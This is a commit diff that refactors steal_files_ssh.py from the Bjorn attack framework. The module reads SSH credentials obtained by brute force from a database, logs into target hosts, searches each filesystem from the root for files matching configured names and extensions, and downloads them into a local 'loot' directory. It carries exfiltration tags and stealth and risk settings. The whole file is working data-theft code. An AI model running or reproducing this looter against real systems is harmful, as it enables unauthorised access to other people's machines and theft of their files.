BREAKING CHANGE: Complete refactor of architecture to prepare BJORN V2 release, APIs, assets, and UI, webapp, logics, attacks, a lot of new features...

This commit is contained in:
Fabien POLLY
2025-12-10 16:01:03 +01:00
parent a748f523a9
commit c1729756c0
927 changed files with 110752 additions and 9751 deletions

View File

@@ -1,173 +1,330 @@
"""
steal_files_ssh.py - This script connects to remote SSH servers using provided credentials, searches for specific files, and downloads them to a local directory.
steal_files_ssh.py — SSH file looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce).
- SSH credentials are read from the DB table `creds` (service='ssh').
- IP -> (MAC, hostname) mapping is read from the DB table `hosts`.
- Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/...
- Paramiko logs are silenced to avoid noisy banners/tracebacks.
Parent gate:
- Orchestrator enforces parent success (b_parent='SSHBruteforce').
- This action runs once per eligible target (alive, open port, parent OK).
"""
import os
import paramiko
import logging
import time
from rich.console import Console
import logging
import paramiko
from threading import Timer
from typing import List, Tuple, Dict, Optional
from shared import SharedData
from logger import Logger
# Configure the logger
# Logger for this module
logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesSSH"
b_module = "steal_files_ssh"
b_status = "steal_files_ssh"
b_parent = "SSHBruteforce"
b_port = 22
# Silence Paramiko's internal logs (no "Error reading SSH protocol banner" spam)
for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys"):
logging.getLogger(_name).setLevel(logging.CRITICAL)
b_class = "StealFilesSSH" # Unique action identifier
b_module = "steal_files_ssh" # Python module name (this file without .py)
b_status = "steal_files_ssh" # Human/readable status key (free form)
b_action = "normal" # 'normal' (per-host) or 'global'
b_service = ["ssh"] # Services this action is about (JSON-ified by sync_actions)
b_port = 22 # Preferred target port (used if present on host)
# Trigger strategy:
# - Prefer to run as soon as SSH credentials exist for this MAC (on_cred_found:ssh).
# - Also allow starting when the host exposes SSH (on_service:ssh),
# but the requirements below still enforce that SSH creds must be present.
b_trigger = 'on_any:["on_cred_found:ssh","on_service:ssh"]'
# Requirements (JSON string):
# - must have SSH credentials on this MAC
# - must have port 22 (legacy fallback if port_services is missing)
# - limit concurrent running actions system-wide to 2 for safety
b_requires = '{"all":[{"has_cred":"ssh"},{"has_port":22},{"max_concurrent":2}]}'
# Scheduling / limits
b_priority = 70 # 0..100 (higher processed first in this schema)
b_timeout = 900 # seconds before a pending queue item expires
b_max_retries = 1 # minimal retries; avoid noisy re-runs
b_cooldown = 86400 # seconds (per-host cooldown between runs)
b_rate_limit = "3/86400" # at most 3 executions/day per host (extra guard)
# Risk / hygiene
b_stealth_level = 6 # 1..10 (higher = more stealthy)
b_risk_level = "high" # 'low' | 'medium' | 'high'
b_enabled = 1 # set to 0 to disable from DB sync
# Tags (free taxonomy, JSON-ified by sync_actions)
b_tags = ["exfil", "ssh", "loot"]
class StealFilesSSH:
"""
Class to handle the process of stealing files from SSH servers.
"""
def __init__(self, shared_data):
"""StealFilesSSH: connects via SSH using known creds and downloads matching files."""
def __init__(self, shared_data: SharedData):
"""Init: store shared_data, flags, and build an IP->(MAC, hostname) cache."""
self.shared_data = shared_data
self.sftp_connected = False # flipped to True on first SFTP open
self.stop_execution = False # global kill switch (timer / orchestrator exit)
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
self._refresh_ip_identity_cache()
logger.info("StealFilesSSH initialized")
# --------------------- Identity cache (hosts) ---------------------
def _refresh_ip_identity_cache(self) -> None:
"""Rebuild IP -> (MAC, current_hostname) from DB.hosts."""
self._ip_to_identity.clear()
try:
self.shared_data = shared_data
self.sftp_connected = False
self.stop_execution = False
logger.info("StealFilesSSH initialized")
rows = self.shared_data.db.get_all_hosts()
except Exception as e:
logger.error(f"Error during initialization: {e}")
logger.error(f"DB get_all_hosts failed: {e}")
rows = []
def connect_ssh(self, ip, username, password):
for r in rows:
mac = r.get("mac_address") or ""
if not mac:
continue
hostnames_txt = r.get("hostnames") or ""
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
ips_txt = r.get("ips") or ""
if not ips_txt:
continue
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
self._ip_to_identity[ip] = (mac, current_hn)
def mac_for_ip(self, ip: str) -> Optional[str]:
"""Return MAC for IP using the local cache (refresh on miss)."""
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[0]
def hostname_for_ip(self, ip: str) -> Optional[str]:
"""Return current hostname for IP using the local cache (refresh on miss)."""
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[1]
# --------------------- Credentials (creds table) ---------------------
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
"""
Establish an SSH connection.
Fetch SSH creds for this target from DB.creds.
Strategy:
- Prefer rows where service='ssh' AND ip=target_ip AND (port is NULL or matches).
- Also include rows for same MAC (if known), still service='ssh'.
Returns list of (username, password), deduplicated.
"""
mac = self.mac_for_ip(ip)
params = {"ip": ip, "port": port, "mac": mac or ""}
# Pull by IP
by_ip = self.shared_data.db.query(
"""
SELECT "user", "password"
FROM creds
WHERE service='ssh'
AND COALESCE(ip,'') = :ip
AND (port IS NULL OR port = :port)
""",
params
)
# Pull by MAC (if we have one)
by_mac = []
if mac:
by_mac = self.shared_data.db.query(
"""
SELECT "user", "password"
FROM creds
WHERE service='ssh'
AND COALESCE(mac_address,'') = :mac
AND (port IS NULL OR port = :port)
""",
params
)
# Deduplicate while preserving order
seen = set()
out: List[Tuple[str, str]] = []
for row in (by_ip + by_mac):
u = str(row.get("user") or "").strip()
p = str(row.get("password") or "").strip()
if not u or (u, p) in seen:
continue
seen.add((u, p))
out.append((u, p))
return out
# --------------------- SSH helpers ---------------------
def connect_ssh(self, ip: str, username: str, password: str, port: int = b_port, timeout: int = 10):
"""
Open an SSH connection (no agent, no keys). Returns an active SSHClient or raises.
NOTE: Paramiko logs are silenced at module import level.
"""
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Be explicit: no interactive agents/keys; bounded timeouts to avoid hangs
ssh.connect(
hostname=ip,
username=username,
password=password,
port=port,
timeout=timeout,
auth_timeout=timeout,
banner_timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
logger.info(f"Connected to {ip} via SSH as {username}")
return ssh
def find_files(self, ssh: paramiko.SSHClient, dir_path: str) -> List[str]:
"""
List candidate files from remote dir, filtered by config:
- shared_data.steal_file_extensions (endswith)
- shared_data.steal_file_names (substring match)
Uses `find <dir> -type f 2>/dev/null` to keep it quiet.
"""
# Quiet 'permission denied' messages via redirection
cmd = f'find {dir_path} -type f 2>/dev/null'
stdin, stdout, stderr = ssh.exec_command(cmd)
files = (stdout.read().decode(errors="ignore") or "").splitlines()
exts = set(self.shared_data.steal_file_extensions or [])
names = set(self.shared_data.steal_file_names or [])
if not exts and not names:
# If no filters are defined, do nothing (too risky to pull everything).
logger.warning("No steal_file_extensions / steal_file_names configured — skipping.")
return []
matches: List[str] = []
for fpath in files:
if self.shared_data.orchestrator_should_exit or self.stop_execution:
logger.info("File search interrupted.")
return []
fname = os.path.basename(fpath)
if (exts and any(fname.endswith(ext) for ext in exts)) or (names and any(sn in fname for sn in names)):
matches.append(fpath)
logger.info(f"Found {len(matches)} matching files in {dir_path}")
return matches
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
"""
Download a single remote file into the given local dir, preserving subdirs.
"""
sftp = ssh.open_sftp()
self.sftp_connected = True # first time we open SFTP, mark as connected
# Preserve partial directory structure under local_dir
remote_dir = os.path.dirname(remote_file)
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
os.makedirs(local_file_dir, exist_ok=True)
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
sftp.get(remote_file, local_file_path)
sftp.close()
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
# --------------------- Orchestrator entrypoint ---------------------
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
"""
Orchestrator entrypoint (signature preserved):
- ip: target IP
- port: str (expected '22')
- row: current target row (compat structure built by shared_data)
- status_key: action name (b_class)
Returns 'success' if at least one file stolen; else 'failed'.
"""
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=username, password=password)
logger.info(f"Connected to {ip} via SSH with username {username}")
return ssh
except Exception as e:
logger.error(f"Error connecting to SSH on {ip} with username {username}: {e}")
raise
self.shared_data.bjorn_orch_status = b_class
def find_files(self, ssh, dir_path):
"""
Find files in the remote directory based on the configuration criteria.
"""
try:
stdin, stdout, stderr = ssh.exec_command(f'find {dir_path} -type f')
files = stdout.read().decode().splitlines()
matching_files = []
for file in files:
if self.shared_data.orchestrator_should_exit :
logger.info("File search interrupted.")
return []
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in file for file_name in self.shared_data.steal_file_names):
matching_files.append(file)
logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
return matching_files
except Exception as e:
logger.error(f"Error finding files in directory {dir_path}: {e}")
raise
# Gather credentials from DB
try:
port_i = int(port)
except Exception:
port_i = b_port
def steal_file(self, ssh, remote_file, local_dir):
"""
Download a file from the remote server to the local directory.
"""
try:
sftp = ssh.open_sftp()
self.sftp_connected = True # Mark SFTP as connected
remote_dir = os.path.dirname(remote_file)
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
os.makedirs(local_file_dir, exist_ok=True)
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
sftp.get(remote_file, local_file_path)
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
sftp.close()
except Exception as e:
logger.error(f"Error stealing file {remote_file}: {e}")
raise
def execute(self, ip, port, row, status_key):
"""
Steal files from the remote server using SSH.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesSSH"
# Wait a bit because it's too fast to see the status change
time.sleep(5)
logger.info(f"Stealing files from {ip}:{port}...")
# Get SSH credentials from the cracked passwords file
sshfile = self.shared_data.sshfile
credentials = []
if os.path.exists(sshfile):
with open(sshfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
credentials.append((parts[3], parts[4]))
logger.info(f"Found {len(credentials)} credentials for {ip}")
if not credentials:
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no SFTP connection is established.
"""
if not self.sftp_connected:
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt to steal files using each credential
success = False
for username, password in credentials:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
ssh = self.connect_ssh(ip, username, password)
remote_files = self.find_files(ssh, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"ssh/{mac}_{ip}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted.")
break
self.steal_file(ssh, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
ssh.close()
if success:
timer.cancel() # Cancel the timer if the operation is successful
return 'success' # Return success if the operation is successful
except Exception as e:
logger.error(f"Error stealing files from {ip} with username {username}: {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
creds = self._get_creds_for_target(ip, port_i)
logger.info(f"Found {len(creds)} SSH credentials in DB for {ip}")
if not creds:
logger.error(f"No SSH credentials for {ip}. Skipping.")
return 'failed'
# Define a timer: if we never establish SFTP in 4 minutes, abort
def _timeout():
if not self.sftp_connected:
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, _timeout)
timer.start()
# Identify where to save loot
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
base_dir = os.path.join(self.shared_data.data_stolen_dir, f"ssh/{mac}_{ip}")
# Try each credential until success (or interrupted)
success_any = False
for username, password in creds:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
ssh = self.connect_ssh(ip, username, password, port=port_i)
# Search from root; filtered by config
files = self.find_files(ssh, '/')
if files:
for remote in files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted during download.")
break
self.steal_file(ssh, remote, base_dir)
logger.success(f"Successfully stole {len(files)} files from {ip}:{port_i} as {username}")
success_any = True
try:
ssh.close()
except Exception:
pass
if success_any:
break # one successful cred is enough
except Exception as e:
# Stay quiet on Paramiko internals; just log the reason and try next cred
logger.error(f"SSH loot attempt failed on {ip} with {username}: {e}")
timer.cancel()
return 'success' if success_any else 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
# Minimal smoke test if run standalone (not used in production; orchestrator calls execute()).
try:
shared_data = SharedData()
steal_files_ssh = StealFilesSSH(shared_data)
# Add test or demonstration calls here
sd = SharedData()
action = StealFilesSSH(sd)
# Example (replace with a real IP that has creds in DB):
# result = action.execute("192.168.1.10", "22", {"MAC Address": "AA:BB:CC:DD:EE:FF"}, b_status)
# print("Result:", result)
except Exception as e:
logger.error(f"Error in main execution: {e}")